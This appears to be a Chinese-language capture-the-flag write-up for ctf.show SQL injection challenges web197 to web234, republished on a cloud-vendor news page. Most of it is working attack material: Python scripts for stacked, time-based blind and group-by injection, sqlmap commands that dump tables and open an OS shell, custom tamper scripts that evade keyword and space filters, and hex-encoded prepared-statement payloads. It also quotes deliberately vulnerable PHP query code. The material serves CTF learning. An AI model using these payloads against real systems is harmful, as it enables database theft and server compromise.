這里為甚么用戶名使用0,因?yàn)閿?shù)據(jù)表里剛開始測試時(shí)候,用戶名為0 時(shí),密碼錯(cuò)誤,說明有這個(gè)用戶名。

寫個(gè)腳本:

# Author: yanmie

import requests

url = "http://9c929736-5b1e-4098-a346-b84a2d3e3509.chall.ctf.show/api/"
i = 0

while True:
    i += 1
    if i==1:
        data = {
            "username" : "0;alter table ctfshow_user change column `pass` `a` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `a` `id` varchar(255)",
            "password" : 0,
        }
        response = requests.post(url=url,data=data)
    else:
        data = {
            "username" : 0,
            "password" : {i}
        }
        response = requests.post(url=url,data=data)
        if "登陸成功" in response.json()['msg']:
            print(response.text)
            break

另一種解法:

username:    0;show tables;
pass:        ctfshow_user

web198

if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){

$ret['msg']='用戶名非法';
die(json_encode($ret));
}

web199-200~show tables;

if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){

$ret['msg']='用戶名非法';
die(json_encode($ret));
}

過濾了(,所以不能用 alter 了,

但是還能直接

username:   0;show tables
password:   ctfshow_user

五、sqlmap的使用

web201

sqlmap最新版下載

使用--user-agent 指定agent

使用--referer 繞過referer檢查

判斷注入點(diǎn):

python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show"

爆數(shù)據(jù)庫

python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" --dbs --batch

得到

available databases [5]:
[*] ctfshow_web
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

爆表名:

python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web --tables --batch

得到

Database: ctfshow_web
[1 table]
+--------------+
| ctfshow_user |
+--------------+

爆字段:

python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns --batch

爆內(nèi)容

python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

得到 shell

python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" --os-shell

web202~--data參數(shù)

使用--data 調(diào)整sqlmap的請求方式

post方式提交參數(shù)

python2 sqlmap.py -u "http://e815b8f2-5a11-4998-8cb9-aa806fb67550.chall.ctf.show/api/" --data="id=1" --referer="ctf.show" --dbs --batch

python2 sqlmap.py -u "http://e815b8f2-5a11-4998-8cb9-aa806fb67550.chall.ctf.show/api/" --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump --batch

web203--put參數(shù)

使用--method 調(diào)整sqlmap的請求方式

python2 sqlmap.py -u "http://ca0824d5-f358-4494-b5ee-0f0ad93fdf39.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --dbms=mysql -D ctfshow_web -T ctfshow_user --dump --batch

web204~--cookie參數(shù)

使用--cookie 提交cookie數(shù)據(jù)

python2 sqlmap.py -u "http://c1338d3e-26fa-49c9-b2aa-583f5fe1418f.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show  --dbms=mysql dbs=ctfshow_web -T ctfshow_user -C pass --dump --headers="Content-Type: text/plain" --cookie="PHPSESSID=beu7iuepljde5gf9frge7542of;" --batch

web205~api鑒權(quán)

api調(diào)用需要鑒權(quán)

php中常見sql注入類型有哪些

--safe-url 設(shè)置在測試目標(biāo)地址前訪問的安全鏈接

--safe-freq 設(shè)置兩次注入測試前訪問安全鏈接的次數(shù)

不訪問的話

{"code":0,"msg":"api鑒權(quán)失敗","count":1,"data":[[]]}
python2 sqlmap.py -u "http://ae19532d-121c-4048-9902-3f93f0028c30.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web -T ctfshow_flax -C flagx --dump  --headers="Content-Type: text/plain" --safe-url="http://ae19532d-121c-4048-9902-3f93f0028c30.chall.ctf.show/api/getToken.php" --safe-freq=1 --batch

web206

sql需要閉合

$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

這里 sql 語句閉合方式變化了,

--prefix=PREFIX–> 攻擊載荷的前綴

--suffix=SUFFIX–> 攻擊載荷的后綴

其實(shí)不使用,sqlmap也可以判斷出來。

python2 sqlmap.py -u "http://a3eb3756-01fe-4ca1-a236-21d47920bd25.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql -D "ctfshow_web" -T "ctfshow_flaxc" -C "flagv" --dump  --headers="Content-Type: text/plain" --safe-url=http://a3eb3756-01fe-4ca1-a236-21d47920bd25.chall.ctf.show/api/getToken.php --safe-freq=1 --batch

web207~tamper腳本過空格

--tamper 的初體驗(yàn)

function waf($str){

return preg_match('/ /', $str);
}

直接使用sqlmap自帶 tamper 腳本,繞過空格過濾

python2 sqlmap.py -u "http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/getToken.php" --safe-freq=1 --dbs --tamper=space2comment --batch
python2 sqlmap.py -u "http://2fe69805-4831-45bb-b61c-a146cd3e448b.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://2fe69805-4831-45bb-b61c-a146cd3e448b.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca --dump --tamper=space2comment --batch

web208

--tamper 的2體驗(yàn)

查詢語句

//拼接sql語句查找指定ID用戶

$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

返回邏輯

//對(duì)傳入的參數(shù)進(jìn)行了過濾
// $id = str_replace('select', '', $id);
function waf($str){
return preg_match('/ /', $str);
}


過濾大小寫空格,所以直接上題tamper就可以。

python2 sqlmap.py -u "http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --dump  --tamper=space2comment --batch

web209~tamper繞過 =

查詢語句

//拼接sql語句查找指定ID用戶

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

返回邏輯

//對(duì)傳入的參數(shù)進(jìn)行了過濾
function waf($str){
//TODO 未完工
return preg_match('/ |*|=/', $str);
}


過濾空格,* ,= .

還是自己學(xué)寫 tamper 腳本吧,

教程點(diǎn)這里

#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
    payload = space2comment(payload)
    return payload


def space2comment(payload):
    retVal = payload
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == "*":
                retVal += chr(0x31)
                continue

            elif payload[i] == "=":
                retVal += chr(0x0a)+'like'+chr(0x0a)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal
python2 sqlmap.py -u http://d93f9b84-d223-4f3d-8786-2b92e5b2535f.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show  --headers="Content-Type:text/plain" --safe-url="http://d93f9b84-d223-4f3d-8786-2b92e5b2535f.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav --dump  --tamper=web209 --batch

web210~字符串編碼

//對(duì)查詢字符進(jìn)行解密

function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}

先解碼再字符反轉(zhuǎn)再解碼再字符反轉(zhuǎn).

python2 sqlmap.py -u http://b34c15e0-d318-4afa-a8e1-9e4a306571c2.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show  --headers="Content-Type:text/plain" --safe-url="http://b34c15e0-d318-4afa-a8e1-9e4a306571c2.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavi --dump  --tamper=web210 --batch
#!/usr/bin/env python

import base64
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    if payload:
        payload = base64.b64encode(payload[::-1].encode("utf-8"))
        payload = base64.b64encode(payload[::-1].encode("utf-8"))
    return payload

web211~空格加編碼

//對(duì)查詢字符進(jìn)行解密

function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ /', $str);
}

那就先加個(gè)空格繞過,

python2 sqlmap.py -u http://c07a61ff-1abf-4836-aed1-c37bad8a566b.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show  --headers="Content-Type:text/plain" --safe-url="http://c07a61ff-1abf-4836-aed1-c37bad8a566b.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavia --dump  --tamper=web211 --batch
#!/usr/bin/env python

import base64
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass


def tamper(payload, **kwargs):
    """
    Base64-encodes all characters in a given payload

    >>> tamper("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
    """
    if payload:
        payload = payload.replace(" ","/**/")
        payload = base64.b64encode(payload[::-1].encode("utf-8"))
        payload = base64.b64encode(payload[::-1].encode("utf-8"))
    return payload

web212

//對(duì)查詢字符進(jìn)行解密

function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |*/', $str);
}

python2 sqlmap.py -u http://fa1a6ea9-f2ee-4da5-9e8a-cbbb0e31d125.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show  --headers="Content-Type:text/plain" --safe-url="http://fa1a6ea9-f2ee-4da5-9e8a-cbbb0e31d125.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavis --dump  --tamper=web212 --batch
#!/usr/bin/env python

import base64
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass


def space2comment(payload):
    retVal = payload
    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == "*":
                retVal += chr(0x31)
                continue

            elif payload[i] == "=":
                retVal += chr(0x0a)+'like'+chr(0x0a)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal


def tamper(payload, **kwargs):

    if payload:
        payload = space2comment(payload)
        payload = payload.replace(" ","/**/")
        payload = base64.b64encode(payload[::-1].encode("utf-8"))
        payload = base64.b64encode(payload[::-1].encode("utf-8"))
    return payload

web213~--os-shell

練習(xí)使用--os-shell 一鍵getshell

//對(duì)查詢字符進(jìn)行解密

function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
return preg_match('/ |*/', $str);
}

https://zhuanlan.zhihu.com/p/58007573

python2 sqlmap.py -u http://4588589d-2509-4ce9-ae0a-7850a7a75f0d.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show  --headers="Content-Type:text/plain" --safe-url="http://4588589d-2509-4ce9-ae0a-7850a7a75f0d.chall.ctf.show/api/getToken.php" --safe-freq=1 --os-shell  --tamper=web212 --batch

直接getshell

php中常見sql注入類型有哪些

六、時(shí)間盲注

web214~無過濾時(shí)間盲注

payload:

post:
debug=1&ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,sleep(2),0)

寫個(gè)腳本:

自增法:

# @Author: yanmie

import requests

url = "http://404d8d96-01d3-4d8e-a14e-aaf5c80a5d67.chall.ctf.show/api/"

payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={},sleep(2),0)"
i = 0
table = ""

while True:
    i += 1
    for j in range(127):
        data = {
            "debug" : 1,
            "ip" : payload.format(i,j)
        }
        try:
            response = requests.post(url=url,data=data,timeout=1)
        except Exception as e:
            break;
    if j == 126:
        break
    table += chr(j)
    print(table.lower())   # 得到 ctfshow_flagx,ctfthow_info

有點(diǎn)慢,在寫個(gè)二分法:

# @Author: yanmie

import requests

url = "http://1a8ae547-99fa-47fe-b1a2-7a163a579dcf.chall.ctf.show/api/"

# payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(2),0)"
# 得到 ctfshow_flagx,ctfthow_info
# payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{},1))>{},sleep(2),0)"
# 得到 id,flaga,info
payload = "if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{},1))>{},sleep(3),0)"
# 得到 flag 

i = 0
result = ""

while True:
    i += 1
    head = 0
    tail =127
    while head<tail:
        mid = (head+tail)//2
        data = {
            "debug" : 1,
            "ip" : payload.format(i,mid)
        }
        try:
            response = requests.post(url=url,data=data,timeout=2)
            # print(head,tail,mid)
            tail = mid
        except Exception as e:
            head = mid+1
    if head == 0:
        break
    result += chr(head)
    print(result.lower())

web215~單引號(hào)閉合

//用了單引號(hào)

payload:

POST:
debug=1&ip=1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,sleep(5),0) and '1'='1

腳本:

# @Author: yanmie

import requests

url = "http://b8e578e0-8b1d-4e02-a389-41a12277e5e8.chall.ctf.show/api/"

# payload = "1' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(5),0) and '1'='1"
# 得到 ctfshow_flagxc,ctfshow_info
payload = "1' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'),{},1))>{},sleep(5),0) and '1'='1"
# 得到 id,flagaa,info
payload = "1' or if(ascii(substr((select group_concat(flagaa) from ctfshow_flagxc),{},1))>{},sleep(5),0) and '1'='1"
# 得到 flag

i = 0
result = ""

while True:
    i += 1
    head = 0
    tail =127
    while head<tail:
        mid = (head+tail)//2
        data = {
            "debug" : 1,
            "ip" : payload.format(i,mid)
        }
        try:
            response = requests.post(url=url,data=data,timeout=2)
            # print(head,tail,mid)
            tail = mid
        except Exception as e:
            head = mid+1
    if head == 0:
        break
    result += chr(head)
    print(result.lower())

web216~括號(hào)閉合

where id = from_base64($id);

payload:

debug=1&ip=1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,sleep(5),0)and (1=1
# @Author: yanmie

import requests

url = "http://5abfff46-12f9-4393-b2cc-6e1e1380b39f.chall.ctf.show/api/"

# payload = "1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(5),0)and (1=1"
# 得到 ctfshow_flagxcc,ctfshow_info
# payload = "1) or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'),{},1))>{},sleep(5),0)and (1=1"
# 得到 id,flagaac,info
payload = "1) or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc),{},1))>{},sleep(5),0) and (1=1"
# 得到 flag

i = 0
result = ""

while True:
    i += 1
    head = 0
    tail =127
    while head<tail:
        mid = (head+tail)//2
        data = {
            "debug" : 1,
            "ip" : payload.format(i,mid)
        }
        try:
            response = requests.post(url=url,data=data,timeout=2)
            # print(head,tail,mid)
            tail = mid
        except Exception as e:
            head = mid+1
    if head == 0:
        break
    result += chr(head)
    print(result.lower())

web217~benchmark繞過sleep

查詢語句

where id = ($id);

返回邏輯

//屏蔽危險(xiǎn)分子

function waf($str){
return preg_match('/sleep/i',$str);
}

過濾了 sleep 。

但是還有其他函數(shù), mysql 時(shí)間盲注五種延時(shí)方法

BENCHMARK(count,expr)
BENCHMARK會(huì)重復(fù)計(jì)算expr表達(dá)式count次,通過這種方式就可以評(píng)估出mysql執(zhí)行這個(gè)expr表達(dá)式的效率。
那我們就讓他計(jì)算很多次,時(shí)間不就長了嗎?比如BENCHMARK(21111111+1),大約3秒多(口數(shù))

payload:

debug=1&ip=1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,BENCHMARK(21111111,1+1),0)and (1=1
# @Author: yanmie

import requests

url = "http://146ccae4-2a48-4709-94be-49e0657a5056.chall.ctf.show/api/"

# payload = "1) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},BENCHMARK(21111111,1+1),0)and (1=1"
# 得到 ctfshow_flagxccb,ctfshow_info
# payload = "1) or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{},1))>{},BENCHMARK(21111111,1+1),0)and (1=1"
# 得到 id,flagaabc,info
payload = "1) or if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{},1))>{},BENCHMARK(21111111,1+1),0)and (1=1"
# 得到 flag

i = 0
result = ""

while True:
    i += 1
    head = 0
    tail =127
    while head<tail:
        mid = (head+tail)//2
        data = {
            "debug" : 1,
            "ip" : payload.format(i,mid)
        }
        try:
            response = requests.post(url=url,data=data,timeout=2)
            # print(head,tail,mid)
            tail = mid
        except Exception as e:
            head = mid+1
    if head == 0:
        break
    result += chr(head)
    print(result.lower())

web218~rlike正則匹配

function waf($str){
return preg_match('/sleep|benchmark/i',$str);

}

benchmark也過濾了。

不過不慌還可以通過RLIKE

rpad(str,len,padstr)
返回字符串str,右填充以字符串str中墊到len字符長度。如果str為大于len,返回值被縮短至len個(gè)字符。

repeat(str,count)
返回由字符串str重復(fù)count次的字符串。 如果計(jì)數(shù)小于1,則返回一個(gè)空字符串。返回NULL如果str或count為NULL。

like 的內(nèi)容不是正則,而是通配符

rlike 的內(nèi)容可以是正則

select rpad('a',2,'a') RLIKE concat(repeat('(a.*)+',2222222),'b');耗時(shí) 4 秒左右

但是從web有點(diǎn)奇怪,就只返回固定的一小段時(shí)間。差不多 1 秒。

換種方式,迪卡爾積

payload:

debug=1&ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0)

web219~笛卡爾積

function waf($str){
return preg_match('/sleep|benchmark|rlike/i',$str);

}

過濾了rlike,,可以笛卡爾積。

debug=1&ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0)

web220

function waf($str){

return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}

使用 ord 代替 ascii

使用 locate 代替 substr

使用笛卡爾積

六、其他注入

web221~limit注入

查詢語句

//分頁查詢

$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

返回邏輯

//TODO:很安全,不需要過濾
//拿到數(shù)據(jù)庫名字就算你贏


LIMIT后面可以跟兩個(gè)函數(shù),PROCEDUREINTO,into需要寫權(quán)限,一般不常見,但是PROCEDURE在msyql5.7以后已經(jīng)棄用,8.0直接刪除了。。。

P牛文章

payload:

http://1c1edfaa-f567-4fba-a04f-285c886e937d.chall.ctf.show/api/?page=2&limit=1 procedure  analyse(extractvalue(rand(),concat(0x3a,database())),1)

web222~group by注入

查詢語句

//分頁查詢
$sql = select * from ctfshow_user group by $username;

返回邏輯

//TODO:很安全,不需要過濾

可使用盲注

payload

http://84f3c1f3-59e9-47e4-9855-c2af4f32432d.chall.ctf.show/api/?u=if((1=2),username,0)&page=2&limit=10

腳本:

# Author: yanmie

import requests

url = "http://84f3c1f3-59e9-47e4-9855-c2af4f32432d.chall.ctf.show/api/"

# payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},username,0)"
# 得到 ctfshow_flaga,ctfshow_user
# payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{},1))>{},username,0)"
# 得到 id,flagaabc,info
payload = "if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{},1))>{},username,0)"
# 得到flag
result = ""
i = 0

while True:
    i += 1
    head = 0
    tail = 127
    while head<tail:
        mid = (head+tail)//2
        param = {
            "u" : payload.format(i,mid),
        }
        response = requests.get(url=url,params=param)
        if "passwordAUTO" in response.text:
            head = mid+1
        else:
            tail = mid
    if head==0:
        break;
    result += chr(head)
    print(result)

web223~group過濾 數(shù)字

//用戶名不能是數(shù)字

與上題一樣,不過是過濾了數(shù)字.那就利用 true 為 1

payload:

http://b3adbf2f-6e3b-4d2c-965f-b95fe91cfeb7.chall.ctf.show/api/?u=if((true=true),username,'a')

腳本:

# Author: yanmie

import requests

url = "http://b3adbf2f-6e3b-4d2c-965f-b95fe91cfeb7.chall.ctf.show/api/"
# payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},{}))>{},username,'a')"
# 得到 ctfshow_flagas,ctfshow_user
# payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{},{}))>{},username,'a')"
# 得到 id,flagasabc,info
payload = "if(ascii(substr((select group_concat(flagasabc) from ctfshow_flagas),{},{}))>{},username,'a')"
# 得到 flag
result = ""
i = 0

def createNum(num):
    if num==1:
        return True
    else:
        res = "True"
        for i in range(num-1):
            res += "+True"
        return res

while True:
    i += 1
    head = 0
    tail = 127
    while head<tail:
        mid = (head+tail)//2
        params = {
            "u" : payload.format(createNum(i),createNum(1),createNum(mid)),
        }
        response = requests.get(url=url,params=params)
        if "passwordAUTO" in response.text:
            head = mid+1
        else:
            tail = mid
    if head == 0 :
        print("[+]the result is : ",result)
        break
    result += chr(head)
    print(result)

web224~exif注入

可以看這里

七、堆疊注入

web225~預(yù)編譯,handler

查詢語句

//分頁查詢
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

返回邏輯

//師傅說過濾的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
die(json_encode($ret));
}

過濾了很多,但沒過濾 show ,可以配合 hander 讀數(shù)據(jù)

https://blog.51cto.com/15023289/2559944

payload

?username=1';show tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

還可以預(yù)編譯

預(yù)編譯也能用變量
SET @tn = 'hahaha';//存儲(chǔ)表名
SET @sql = concat('select * from ', @tn);//存儲(chǔ)SQL語句
PREPARE name from @sql;//預(yù)定義SQL語句
EXECUTE name;//執(zhí)行預(yù)定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla;//刪除預(yù)定義SQL語句

username=1';show tables;PREPARE name from concat('sel','ect * from ctfshow_flagasa');EXECUTE name;

web226~hex

if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){

die(json_encode($ret));
}

過濾了show和 括號(hào),那就不能使用 concat 連接了。

使用十六進(jìn)制編碼

paylaod:

username=1';PREPARE name from 0x73686F77207461626C6573;EXECUTE name;
username=1';PREPARE name from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;EXECUTE name;

web227~存儲(chǔ)過程

存儲(chǔ)過程。

參考:

https://www.runoob.com/w3cnote/mysql-stored-procedure.html
https://blog.csdn.net/qq_41573234/article/details/80411079
# 
[http://da1dd134-9aac-46e1-942d-17dff2dd1c33.chall.ctf.show/api/?username=1%27;PREPARE](http://da1dd134-9aac-46e1-942d-17dff2dd1c33.chall.ctf.show/api/?username=1%27;PREPARE) name from 0x2053454C**4543542020202A20202046524F4D202020696E666F726D6174696F6E5F736368656D612E526F7574696E657320776865726520524F5554494E455F4E414D45203D27676574466C616727;EXECUTE name;

web228

還是可以轉(zhuǎn)十六進(jìn)制。

過濾內(nèi)容:

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","char":"union"},{"id":"2","char":"file"},{"id":"3","char":"into"},{"id":"4","char":"handler"},{"id":"5","char":"db"},{"id":"6","char":"select"},{"id":"7","char":"update"},{"id":"8","char":"dump"},{"id":"9","char":"delete"},{"id":"10","char":"create"},{"id":"11","char":"drop"},{"id":"12","char":"show"},{"id":"13","char":"describe"},{"id":"14","char":"set"},{"id":"15","char":"alter"}]}

payload:

?username=1';PREPARE name from 0x73656C656374202A2066726F6D2063746673685F6F775F666C616761736161;EXECUTE name;

web229

十六進(jìn)制。

payload:

?username=1';PREPARE name from 0x73656C656374202A2066726F6D20666C6167;EXECUTE name;

web230

還是十六進(jìn)制預(yù)編譯

?username=1';PREPARE name from 0x73656C656374202A2066726F6D20666C61676161626278;EXECUTE name;

八、update注入

web231~update注入

查詢語句

//分頁查詢

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

payload:

password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())where 1#&username=1
# 得到 banlist,ctfshow_user,flaga

password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')where 1#&username=1
# 得到 id,flagas,info

password=1',username=(select group_concat(flagas) from flaga)where 1#&username=1
# 得到flag

web232~單引號(hào)括號(hào)閉合

查詢語句

//分頁查詢

$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

和上一題一樣的,

只不過閉合方式發(fā)生了變化。

payload:

password=1'),username=(select group_concat(flagass) from flagaa)where 1#&username=1

web233~時(shí)間盲注

時(shí)間盲注,

payload:

password=1&username=ctfshow' and sleep(5) and '1'='1

腳本:

# @Author: yanmie

import requests

url = "http://97240940-d8ac-45e4-92f4-4d4baeb81d18.chall.ctf.show/api/"
# paylaod = "ctfshow' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(0.5),1) and '1'='1"
# 得到 banlist,ctfshow_user,flag233333
# paylaod = "ctfshow' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag233333'),{},1))>{},sleep(0.5),1) and '1'='1"
# 得到  id,flagass233,info
paylaod = "ctfshow' and if(ascii(substr((select group_concat(flagass233) from flag233333),{},1))>{},sleep(0.5),1) and '1'='1"

result = ""
i = 0

while True:
    i += 1
    head = 0
    tail = 127
    while head<tail:
        mid = (head+tail)//2
        data = {
            "password" : 1,
            "username" : paylaod.format(i,mid),
        }
        try:
            response = requests.post(url=url,data=data,timeout=0.5)
            tail = mid
        except Exception as e:
            head = mid+1
    if head == 0:
        print("[+]the result is : ",result)
        break
    result += chr(head)
    print(result)

web234~單引號(hào)逃逸

過濾了單引號(hào)。可以利用\實(shí)現(xiàn)單引號(hào)逃逸。

password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

此時(shí)查詢語句:

$sql = "update ctfshow_user set pass = '\' where username = '\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#';";

password就會(huì)變?yōu)?code>' where username = 。

payload:

password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666C6167323361)#

password=\&username=,username=(select flagass23s3 from flag23a)#

看完上述內(nèi)容,你們掌握php中常見sql注入類型有哪些的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI